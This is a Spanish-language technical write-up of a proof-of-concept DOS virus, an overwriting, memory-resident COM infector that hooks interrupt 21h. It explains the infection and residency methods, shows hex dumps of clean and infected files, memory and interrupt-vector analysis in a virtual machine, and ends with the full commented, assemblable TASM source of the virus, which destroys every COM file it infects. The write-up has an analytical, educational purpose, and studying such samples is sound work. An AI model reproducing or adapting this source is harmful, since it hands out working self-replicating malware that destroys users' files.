Prueba de concepto de virus en la plataforma x86/DOS con estrategia de infección por overwriting (sobrescritura) en archivos COM. El virus permanece residente en memoria convencional como un programa TSR normal. Intercepta los servicios I/O de DOS para infectar archivos luego de ser ejecutados.
Método de infección
El virus simplemente sobrescribe otros archivos COM con el código viral. Es la estrategia más primitiva, pero es muy agresiva y destructiva. Todas las generaciones del virus son idénticas.
Generalmente nada se preserva de los archivos huéspedes ya que son destruidos por la sobrescritura. La desinfección consiste en eliminar todos los archivos infectados.
Residencia en memoria
El virus permanece residente en el rango de memoria convencional (por debajo de 640KB - segmento A000) como un programa TSR (Terminate and Stay Resident) normal mediante el servicio 27h provisto por DOS. Durante la infección, el virus reconoce si ya se encuentra residente mediante un servicio propio en la interrupción 21h.
Método de propagación
El virus modifica el handler original de la interrupción 21h cambiando el vector del handler en la IVT (Interrupt Vector Table) para interceptar las llamadas a los servicios I/O de DOS. Esto tiene dos objetivos:
- Proveer un servicio de reconocimiento propio para saber si ya se encuentra residente en memoria.
- Detectar las ejecuciones de archivos en el sistema para infectarlos luego de que estos terminan su ejecución normal.
Flujo de ejecución
Al ejecutarse un archivo infectado, el virus se hace residente en memoria y modifica la IVT:
Cuando el virus ya es residente en memoria, intercepta todas las llamadas a la interrupción 21h:
Análisis estático
Hex dump de un archivo sano de tamaño 80 bytes:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B4 09 BA 39 01 CD 21 90 ´.º9.Í!. 0x0008 90 90 90 90 90 90 90 90 ........ 0x0010 90 90 90 90 90 90 90 90 ........ 0x0018 90 90 90 90 90 90 90 90 ........ 0x0020 90 90 90 90 90 90 90 90 ........ 0x0028 90 90 90 90 90 90 90 90 ........ 0x0030 90 90 90 90 90 B4 00 CD .....´.Í 0x0038 21 54 68 69 73 20 69 73 !This is 0x0040 20 61 20 68 6F 73 74 20 a host 0x0048 66 69 6C 65 21 0D 0A 24 file!..$
Hex dump del archivo infectado:
Offset 00 01 02 03 04 05 06 07 ANSI 0x0000 B8 CD AB CD 21 3D 9A 02 ¸Í«Í!=š. 0x0008 75 04 B4 00 CD 21 B4 35 u.´.Í!´5 0x0010 B0 21 CD 21 89 1E A3 01 °!Í!‰.£. 0x0018 8C 06 A5 01 B4 25 B0 21 Œ.¥.´%°! 0x0020 BA 2A 01 CD 21 BA AD 01 º*.Í!º.. 0x0028 CD 27 3D CD AB 74 0A 3D Í'=Í«t.= 0x0030 00 4B 74 09 2E FF 2E A3 .Kt..ÿ.£ 0x0038 01 B8 9A 02 CF 9C 2E FF .¸š.Ïœ.ÿ 0x0040 1E A3 01 9C 2E 8F 06 A7 .£.œ...§ 0x0048 01 50 53 51 52 56 1E 8B .PSQRV.‹ 0x0050 F2 AC 0A C0 74 28 3C 2E ò¬.Àt(<. 0x0058 75 F7 AC 3C 43 75 1F AC u÷¬<Cu.¬ 0x0060 3C 4F 75 1A AC 3C 4D 75 <Ou.¬<Mu 0x0068 15 B4 3D B0 02 CD 21 72 .´=°.Í!r 0x0070 11 93 0E 1F B4 40 B9 A3 .“..´@¹£ 0x0078 00 BA 00 01 CD 21 B4 3E .º..Í!´> 0x0080 CD 21 1F 5E 5A 59 5B 58 Í!.^ZY[X 0x0088 2E 8F 06 A9 01 2E 8F 06 ...©.... 0x0090 AB 01 9D 2E FF 36 A7 01 «...ÿ6§. 0x0098 2E FF 36 AB 01 2E FF 36 .ÿ6«..ÿ6 0x00A0 A9 01 CF ©.Ï
Análisis dinámico
Se considera un archivo infectado VTEST.COM en un ambiente MS-DOS 6.22, Microsoft Virtual PC 6.0 con VM Additions.
Uso de memoria
Antes de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,157 (16K) 16,157 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) Free 516,976 (505K) 516,976 (505K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,360 516,976 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,048 14,017,392 Total under 1 MB 654,336 137,360 516,976
Después de la infección
Resultado de MEM /C
:
Name Total = Conventional + Upper Memory -------- ---------------- ---------------- ---------------- MSDOS 16,157 (16K) 16,157 (16K) 0 (0K) SETVER 480 (0K) 480 (0K) 0 (0K) HIMEM 1,120 (1K) 1,120 (1K) 0 (0K) DISPLAY 8,304 (8K) 8,304 (8K) 0 (0K) CDROM 4,224 (4K) 4,224 (4K) 0 (0K) COMMAND 2,928 (3K) 2,928 (3K) 0 (0K) SMARTDRV 29,024 (28K) 29,024 (28K) 0 (0K) KEYB 6,944 (7K) 6,944 (7K) 0 (0K) FSHARE 26,576 (26K) 26,576 (26K) 0 (0K) IDLE 528 (1K) 528 (1K) 0 (0K) MSCDEX 32,096 (31K) 32,096 (31K) 0 (0K) MOUSE 8,880 (9K) 8,880 (9K) 0 (0K) VTEST 608 (1K) 608 (1K) 0 (0K) Free 516,368 (504K) 516,368 (504K) 0 (0K) Memory Summary: Type of Memory Total = Used + Free ---------------- ---------- ---------- ---------- Conventional 654,336 137,968 516,368 Upper 0 0 0 Reserved 0 0 0 Extended (XMS) 15,663,104 2,162,688 13,500,416 ---------------- ---------- ---------- ---------- Total memory 16,317,440 2,300,656 14,016,784 Total under 1 MB 654,336 137,968 516,368
La presencia del virus es evidente como la de cualquier programa TSR, por lo cual es fácil de detectar. Ocupa 608 bytes de espacio en memoria convencional.
Resultado de MEM /M VTEST
:
Segment Region Total Type ------- ------ ---------------- -------- 0218A 160 (0K) Environment 02194 448 (0K) Program ---------------- Total Size: 608 (1K)
Como es típico, un programa en memoria ocupa al menos dos bloques contiguos, el primero (218A) tiene una copia de los datos de entorno, y el segundo (2194) tiene el PSP, código y datos del programa. Una posible mejora del virus es liberar el bloque de datos de entorno ya que no son utilizados y así ocupar menos espacio.
El código viral tiene en memoria un tamaño de 173 B (163 B de código + 10 B reservados para datos), a esto se le suma el PSP con 256 B, por esto el segundo bloque requiere en total 429 B, pero por el alineamiento en párrafos (16 B) el próximo múltiplo de 16 es $\lceil\frac{429}{16}\rceil \times 16 = 432 B$. Además, cada bloque tiene un MCB correspondiente de 16 B, por lo tanto el bloque 2194 tiene un tamaño total de 448 B.
Handler de 21h
La IVT ocupa los primeros 1024 bytes de memoria RAM, segmento 0000.
El vector de la interrupción 21h es la dirección de memoria del handler en
forma de 4 bytes segmento:offset, este se encuentra en el offset 84h de la IVT.
Antes de la infección
Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 E1 20 04 11
El handler original de 21h se encuentra en 1104:20E1.
Después de la infección
Hex dump de los 4 bytes del vector 21h:
-D 0000:0084 L4 0000:0080 2A 01 95 21
El vector ya no es el mismo.
Desensamblado del handler referenciado por el nuevo vector:
-U 2195:012A 2195:012A 3DCDAB CMP AX,ABCD ; inicio del handler viral 2195:012D 740A JZ0139 2195:012F 3D004B CMP AX,4B00 2195:0132 7409 JZ 013D 2195:0134 2E CS: 2195:0135 FF2EA301 JMP FAR [01A3] 2195:0139 B89A02 MOV AX,029A 2195:013C CF IRET 2195:013D 9C PUSHF 2195:013E 2E CS: 2195:013F FF1EA301 CALL FAR [01A3] ; llamada al handler original 2195:0143 9C PUSHF 2195:0144 2E CS: 2195:0145 8F06A701 POP [01A7] 2195:0149 50 PUSH AX
Hex dump de 4 bytes en 2195:01A3:
-D 2195:01A3 L4 2195:01A0 E1 20 04 11 ; el vector original de 21h
API utilizada
Se utilizan 6 servicios de la DOS API mediante la interrupción de software 21h.
Servicio | AH | Parámetros | Retorno | Versión DOS |
---|---|---|---|---|
Terminar programa | 00h | - | - | 1+ |
Establecer vector en IVT | 25h | AL = número de interrupción | DS:DX = puntero al nuevo handler de la interrupción | 2+ |
Obtener vector de IVT | 35h | AL = número de interrupción | ES:BX = puntero al handler de la interrupción | 2+ |
Abrir archivo existente | 3Dh | AL = modos de acceso e intercambio DS:DX -> nombre del archivo (ASCIZ) |
Éxito: CF = 0, AX = handle del archivo Error: CF = 1, AX = código de error |
2+ |
Cerrar archivo | 3Eh | BX = handle del archivo | Éxito: CF = 0, AX destruido Error: CF = 1, AX = código de error |
2+ |
Escribir en archivo o dispositivo |
40h | BX = handle del archivo CX = nro. de bytes DS:DX -> datos a escribir |
Éxito: CF = 0, AX = nro. de bytes escritos Error: CF = 1, AX = código de error |
2+ |
Se utiliza la interrupción 27h (DOS 1.x) para crear programas TSR.
Interrupción 27h | Parámetros | Retorno | Versión DOS |
---|---|---|---|
Terminar programa y dejar porción residente en memoria | CS = segmento de PSP DX = dirección más alta a ocupar en memoria |
- | 1+ |
Código fuente
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
;##############################################################################
;# Nombre: virus://DOS/SillyOR.163
;# Plataforma: Intel x86
;# SO: DOS v2.0+
;# Lenguaje: ASM x86-16 (sintaxis Intel)
;# Herramientas: TASM v4.1, TLINK v7.1.30
;# Tipo: Overwriting, Resident, COM infector
;# Tamaño: 163 bytes
;# Propagación: En archivos COM luego de ser ejecutados (INT 21h - AH=4B).
;# Infección: Sobrescritura de archivos COM (no READ-ONLY).
;# Residente: Si. Dentro de la memoria convencional (0-640KB), en la
;# zona baja del sistema.
;# Stealth: No
;# Payload: No
;##############################################################################
.8086
.model tiny
assume cs:virus, ds:virus
virus segment byte public 'CODE'
org 100h
start:
mov ax, 0ABCDh ; | AX = 0ABCDh
int 21h ; |_DOS API - Llamar servicio de reconocimiento del virus
cmp ax, 029Ah ; verificar código de respuesta
jne infect_int21h ; si no es 666 (29Ah), infectar INT 21h
mov ah, 00h ; | AH = 00h
int 21h ; |_DOS API - Retornar a DOS
infect_int21h:
mov ah, 35h ; | AH = 35h
mov al, 21h ; | AL = número de interrupción, 21h
int 21h ; |_DOS API - Obtener vector en ES:BX
mov [vector_int21], bx ; guardar vector original de INT 21h
mov [vector_int21 + 2], es
mov ah, 25h ; | AH = 25h
mov al, 21h ; | AL = número de interrupción, 21h
mov dx, offset handler_int21h ; | DS:DX -> dirección del nuevo handler: handler_int21h
int 21h ; |_DOS API - Cambiar vector
; | CS = segmento de PSP
mov dx, offset eof ; | DX = Tamaño de porción residente (bytes)
int 27h ; |_DOS API - Termina el programa y lo deja en memoria
handler_int21h:
cmp ax, 0ABCDh ; llamada de verificación del virus:
je service_ABCD ; responder y retornar
cmp ax, 4B00h ; llamada para ejecutar archivo:
je infect_file ; infectar y delegar
jmp dword ptr cs:[vector_int21] ; en otro caso, delegar al handler original de INT 21h
service_ABCD:
mov ax, 029Ah ; código de respuesta: 666 (29Ah)
iret ; retornar de la interrupción
infect_file:
pushf
call dword ptr cs:[vector_int21] ; simular INT 21h para ejecutar archivo
pushf
pop cs:[ret_EFLAGS]
push ax ; guardar registros que serán utilizados
push bx
push cx
push dx
push si
push ds
; por la llamada AX=4B00h, DS:DX apunta al nombre del archivo
mov si, dx ; verificar que sea extensión ".COM"
loop_str:
lodsb
or al, al
jz close_file
cmp al, '.';
jne loop_str
lodsb
cmp al, 'C';
jne close_file
lodsb
cmp al, 'O';
jne close_file
lodsb
cmp al, 'M'
jne close_file
mov ah, 3Dh ; | AH = 3Dh
mov al, 2 ; | AL = 2, lectura y escritura
int 21h ; |_DOS API - Abrir archivo existente
jc exit ; si no se puede abrir archivo, restaurar y delegar
xchg ax, bx ; handle de archivo en BX
push cs
pop ds ; MOV DS, CS
mov ah, 40h ; | AH = 40h
mov cx, VIRUS_SIZE ; | CX = tamaño del virus
mov dx, offset start ; | DS:DX -> origen: inicio del código viral
int 21h ; |_DOS API - Escribir en archivo/dispositivo
close_file:
mov ah, 3Eh ; | AH = 3Eh
int 21h ; |_DOS API - Cerrar archivo
exit:
pop ds ; restaurar registros
pop si
pop dx
pop cx
pop bx
pop ax
pop cs:[ret_IP]
pop cs:[ret_CS]
popf
push cs:[ret_EFLAGS]
push cs:[ret_CS]
push cs:[ret_IP]
iret
VIRUS_SIZE equ ($ - start) ; tamaño del virus
vector_int21 dw ?, ? ; vector original de INT 21h (4 bytes)
ret_EFLAGS dw ? ; registro de estado del CPU
ret_IP dw ? ; puntero a la instrucción de retorno
ret_CS dw ? ; segmento de código de retorno
eof: ; fin de porción residente para TSR
virus ends
end start
Bibliografía
- Szor, P. (2005). The Art of Computer Virus Research and Defense (2nd ed.). Addison-Wesley Professional.
- Williams, D. (1992). Programmer’s Technical Reference for MSDOS and the IBM PC.
- Phalcon-Skism. 40-Hex.